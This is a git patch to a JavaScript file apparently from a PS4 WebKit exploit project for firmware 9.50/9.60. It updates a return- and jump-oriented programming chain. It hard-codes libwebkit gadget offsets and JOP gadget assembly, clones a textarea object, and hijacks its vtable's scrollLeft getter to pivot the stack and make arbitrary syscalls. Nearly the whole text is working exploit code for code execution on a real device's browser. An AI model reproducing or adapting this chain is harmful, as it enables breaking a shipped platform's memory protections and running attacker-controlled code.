From f9de5b62a97b73fb4e7715016311ef8838783d2c Mon Sep 17 00:00:00 2001 From: Kameleon <77245601+kmeps4@users.noreply.github.com> Date: Tue, 13 Feb 2024 18:53:01 -0600 Subject: [PATCH] Update --- rop/950.mjs | 177 ++++++++++++++++++++++++++++------------------------ 1 file changed, 95 insertions(+), 82 deletions(-) diff --git a/rop/950.mjs b/rop/950.mjs index dd4cb9f..017a981 100644 --- a/rop/950.mjs +++ b/rop/950.mjs @@ -42,9 +42,7 @@ const url = `${origin}:${port}`; const syscall_array = []; -const offset_func_exec = 0x18; const offset_textarea_impl = 0x18; -const offset_js_inline_prop = 0x10; // WebKit offsets of imported functions const offset_wk_stack_chk_fail = 0x178; @@ -73,59 +71,50 @@ let libkernel_base = null; // libSceLibcInternal.sprx let libc_base = null; -// Chain implementation based on Chain803. Replaced offsets that changed +// Chain implementation based on Chain800. Replaced offsets that changed // between versions. Replaced gadgets that were missing with new ones that // won't change the API. -// + // gadgets for the JOP chain // -// Why these JOP chain gadgets are not named jop1-3 and jop2-5 not jop4-7 is -// because jop1-5 was the original chain used by the old implementation of -// Chain803. Now the sequence is ta_jop1-3 then to jop2-5. -// // When the scrollLeft getter native function is called on PS4 9.60, rsi is the // JS wrapper for the WebCore textarea class. -const ta_jop1 = ` -mov rdi, qword ptr [rsi + 0x18] +const jop1 = ` +mov rdi, qword ptr [rsi + 0x20] mov rax, qword ptr [rdi] -call qword ptr [rax + 0xb8] +call qword ptr [rax + 0x28] `; // Since the method of code redirection we used is via redirecting a call to // jump to our JOP chain, we have the return address of the caller on entry. // -// ta_jop1 pushed another object (via the call instruction) but we want no -// extra objects between the return address and the rbp that will be pushed by -// jop2 later. So we pop the return address pushed by ta_jop1. +// jop1 pushed another object (via the call instruction) but we want no extra +// objects between the return address and the rbp that will be pushed by jop3 +// later. So we pop the return address pushed by jop1. // // This will make pivoting back easy, just "leave; ret". -const ta_jop2 = ` +const jop2 = ` pop rsi cmc jmp qword ptr [rax + 0x7c] `; -const ta_jop3 = ` -mov rdi, qword ptr [rax + 8] -mov rax, qword ptr [rdi] -jmp qword ptr [rax + 0x30] -`; // rbp is now pushed, any extra objects pushed by the call instructions can be // ignored -const jop2 = ` +const jop3 = ` push rbp mov rbp, rsp mov rax, qword ptr [rdi] call qword ptr [rax + 0x58] `; -const jop3 = ` +const jop4 = ` mov rdx, qword ptr [rax + 0x18] mov rax, qword ptr [rdi] call qword ptr [rax + 0x10] `; -const jop4 = ` +const jop5 = ` push rdx jmp qword ptr [rax] `; -const jop5 = 'pop rsp; ret'; +const jop6 = 'pop rsp; ret'; // the ps4 firmware is compiled to use rbp as a frame pointer // @@ -141,6 +130,11 @@ const jop5 = 'pop rsp; ret'; // pop rbp const rop_epilogue = 'leave; ret'; +const push_rdx_jmp = ` +push rdx +jmp qword ptr [rax] +`; + const webkit_gadget_offsets = new Map(Object.entries({ 'pop rax; ret' : 0x0000000000011c46, 'pop rbx; ret' : 0x0000000000013730, @@ -167,25 +161,23 @@ const webkit_gadget_offsets = new Map(Object.entries({ 'neg rax; and rax, rcx; ret' : 0x00000000014d2af4, 'adc esi, esi; ret' : 0x00000000004fd968, 'add rax, rdx; ret' : 0x00000000006d1a88, - 'push rsp; jmp qword ptr [rax]' : 0x0000000002c80f76, 'add rcx, rsi; and rdx, rcx; or rax, rdx; ret' : 0x00000000008e6b06, 'pop rsi ; cmc ; jmp qword ptr [rax + 0x7c]' : 0x0000000002bf3741, 'mov qword ptr [rdi], rsi; ret' : 0x00000000000b2350, 'mov rax, qword ptr [rax]; ret' : 0x000000000000c671, 'mov qword ptr [rdi], rax; ret' : 0x0000000000010c07, - 'mov dword ptr [rdi], eax; ret' : 0x00000000000071d0, 'mov rdx, rcx; ret' : 0x0000000000b9cb04, 'mov qword ptr [rsi], rcx; ret' : 0x000000000012a5ca, - [jop2] : 0x00000000001a75a0, - [jop3] : 0x000000000035fc94, - [jop4] : 0x00000000002b7a9c, - [jop5] : 0x00000000000253e0, + [push_rdx_jmp] : 0x00000000002b7a9c, - [ta_jop1] : 0x000000000060fd94, - [ta_jop2] : 0x0000000002bf3741, - [ta_jop3] : 0x000000000181e974, + [jop1] : 0x0000000000d01378, + [jop2] : 0x0000000002bf3741, + [jop3] : 0x00000000001a75a0, + [jop4] : 0x000000000035fc94, + [jop5] : 0x00000000002b7a9c, + [jop6] : 0x00000000000253e0, })); const libc_gadget_offsets = new Map(Object.entries({ @@ -207,15 +199,11 @@ function get_bases() { libwebkit_base .add(offset_wk_stack_chk_fail) ; - const stack_chk_fail_addr = resolve_import( - stack_chk_fail_import, - true, - true - ); + const stack_chk_fail_addr = resolve_import(stack_chk_fail_import); const libkernel_base = find_base(stack_chk_fail_addr, true, true); const memcpy_import = libwebkit_base.add(offset_wk_memcpy); - const memcpy_addr = resolve_import(memcpy_import, true, true); + const memcpy_addr = resolve_import(memcpy_import); const libc_base = find_base(memcpy_addr, true, true); return [ @@ -231,7 +219,7 @@ function init_gadget_map(gadget_map, offset_map, base_addr) { } } -class Chain960Base extends ChainBase { +class Chain950Base extends ChainBase { constructor() { super(); @@ -240,8 +228,8 @@ class Chain960Base extends ChainBase { this.flag = new Uint8Array(8); this.flag_addr = get_view_vector(this.flag); this.jmp_target = new Uint8Array(0x100); - rw.write64(this.jmp_target, 0x7c, this.get_gadget(jop4)); - rw.write64(this.jmp_target, 0, this.get_gadget(jop5)); + rw.write64(this.jmp_target, 0x7c, this.get_gadget(push_rdx_jmp)); + rw.write64(this.jmp_target, 0, this.get_gadget('pop rsp; ret')); // for save/restore this.is_saved = false; @@ -460,6 +448,8 @@ class Chain960Base extends ChainBase { this.push_end(); this.run(); this.clean(); + + return this.return_value; } syscall(...args) { @@ -471,49 +461,79 @@ class Chain960Base extends ChainBase { this.push_end(); this.run(); this.clean(); + + return this.return_value; } } +// helper object for ROP +const rop_ta = document.createElement('textarea'); + // Chain for PS4 9.60 -class Chain960 extends Chain960Base { +class Chain950 extends Chain950Base { constructor() { super(); - const textarea = document.createElement('textarea'); - this.textarea = textarea; - const js_ta = mem.addrof(textarea); - const webcore_ta = js_ta.readp(0x18); - this.webcore_ta = webcore_ta; - // Only offset 0x1c8 will be used when calling the scrollLeft getter - // native function (our tests don't crash). + // sizeof JSC:JSObject, the JSCell + the butterfly field + const js_size = 0x10; + // sizeof WebCore::JSHTMLTextAreaElement, subclass of JSObject + const js_ta_size = 0x20; + // start of the array of inline properties (JSValues) + const offset_js_inline_prop = 0x10; + // Sizes may vary between webkit versions so we just assume a size + // that we think is large enough for all of them. + const vtable_size = 0x1000; + const webcore_ta_size = 0x180; + + const ta_clone = {}; + this.ta_clone = ta_clone; + const clone_p = mem.addrof(ta_clone); + const ta_p = mem.addrof(rop_ta); + + for (let i = js_size; i < js_ta_size; i += 8) { + clone_p.write64(i, ta_p.read64(i)); + } + + const webcore_ta = ta_p.readp(offset_textarea_impl); + const m_wrapped_clone = new Uint8Array( + make_buffer(webcore_ta, webcore_ta_size) + ); + this.m_wrapped_clone = m_wrapped_clone; + + // Replicate the vtable as much as possible or else the garbage + // collector will crash. It uses functions from the vtable. // - // This implies we don't need to know the exact size of the vtable and - // try to copy it as much as possible to avoid a crash due to missing - // vtable entries. - // - // So the rest of the vtable are free for our use. - const vtable = new Uint8Array(0x200); - const old_vtable_p = webcore_ta.readp(0); - this.vtable = vtable; - this.old_vtable_p = old_vtable_p; + // There is no need to restore the original vtable pointer later since + // it points to a copy with only offset 0x1b8 changed. The scrollLeft + // getter is not used by the GC. + const vtable_clone = new Uint8Array( + make_buffer(webcore_ta.readp(0), vtable_size) + ); + this.vtable_clone = vtable_clone + + clone_p.write64( + offset_textarea_impl, + get_view_vector(m_wrapped_clone), + ); + rw.write64(m_wrapped_clone, 0, get_view_vector(vtable_clone)); + + clone_p.write64(0, ta_p.read64(0)); // 0x1b8 is the offset of the scrollLeft getter native function - rw.write64(vtable, 0x1b8, this.get_gadget(ta_jop1)); - rw.write64(vtable, 0xb8, this.get_gadget(ta_jop2)); - rw.write64(vtable, 0x7c, this.get_gadget(ta_jop3)); + rw.write64(vtable_clone, 0x1b8, this.get_gadget(jop1)); // for the JOP chain const rax_ptrs = new Uint8Array(0x100); const rax_ptrs_p = get_view_vector(rax_ptrs); this.rax_ptrs = rax_ptrs; - //rw.write64(rax_ptrs, 8, this.get_gadget(jop2)); - rw.write64(rax_ptrs, 0x30, this.get_gadget(jop2)); - rw.write64(rax_ptrs, 0x58, this.get_gadget(jop3)); - rw.write64(rax_ptrs, 0x10, this.get_gadget(jop4)); - rw.write64(rax_ptrs, 0, this.get_gadget(jop5)); + rw.write64(rax_ptrs, 0x28, this.get_gadget(jop2)); + rw.write64(rax_ptrs, 0x7c, this.get_gadget(jop3)); + rw.write64(rax_ptrs, 0x58, this.get_gadget(jop4)); + rw.write64(rax_ptrs, 0x10, this.get_gadget(jop5)); + rw.write64(rax_ptrs, 0, this.get_gadget(jop6)); // value to pivot rsp to - rw.write64(this.rax_ptrs, 0x18, this.stack_addr); + rw.write64(rax_ptrs, 0x18, this.stack_addr); const jop_buffer = new Uint8Array(8); const jop_buffer_p = get_view_vector(jop_buffer); @@ -521,7 +541,7 @@ class Chain960 extends Chain960Base { rw.write64(jop_buffer, 0, rax_ptrs_p); - rw.write64(vtable, 8, jop_buffer_p); + clone_p.write64(offset_js_inline_prop + 8*2, jop_buffer_p); } run() { @@ -529,15 +549,11 @@ class Chain960 extends Chain960Base { this.check_is_empty(); this.check_is_branching(); - // change vtable - this.webcore_ta.write64(0, get_view_vector(this.vtable)); // jump to JOP chain - this.textarea.scrollLeft; - // restore vtable - this.webcore_ta.write64(0, this.old_vtable_p); - } + this.ta_clone.scrollLeft; + } } -const Chain = Chain960; +const Chain = Chain950; function init(Chain) { [libwebkit_base, libkernel_base, libc_base] = get_bases(); @@ -657,13 +673,10 @@ function test_rop(Chain) { const magic = 0x4b435546; rw.write32(chain._return_value, 0, magic); - chain.syscall('getuid'); + const res = chain.syscall('getuid'); - debug_log(`return value: ${chain.return_value}`); - if (chain.return_value.low() === magic) { + debug_log(`return value: ${res}`); + if (res.eq(magic)) { die('syscall getuid failed'); } } - -debug_log('Chain960'); -test_rop(Chain);